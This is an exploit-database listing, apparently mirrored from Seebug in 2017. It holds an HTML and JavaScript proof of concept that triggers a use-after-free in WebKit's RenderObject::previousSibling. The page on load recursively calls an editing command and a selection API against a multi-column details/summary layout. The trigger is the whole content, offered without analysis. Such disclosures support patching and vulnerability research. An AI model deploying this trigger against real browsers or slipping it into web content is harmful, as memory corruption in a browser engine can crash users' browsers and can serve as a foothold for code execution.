Sploitus

Exploit for WebKit: use-after-free in WebCore::RenderObject::previousSibling

seebug Β· 2017-11-23

Exploit Code

MARKDOWN16 lines
## https://sploitus.com/exploit?id=SSV:96892
<style>
.class9 { column-span: all; }
</style>
<script>
function f() {
  document.execCommand("indent", false);
  var var00031 = window.getSelection().setBaseAndExtent(sum,16,null,6);
  f();
}
</script>
<body onload=f()>
<pre style="column-count: 78; -webkit-user-modify: read-write">
<details>
<summary id="sum" class="class9">
<content id="htmlvar00040">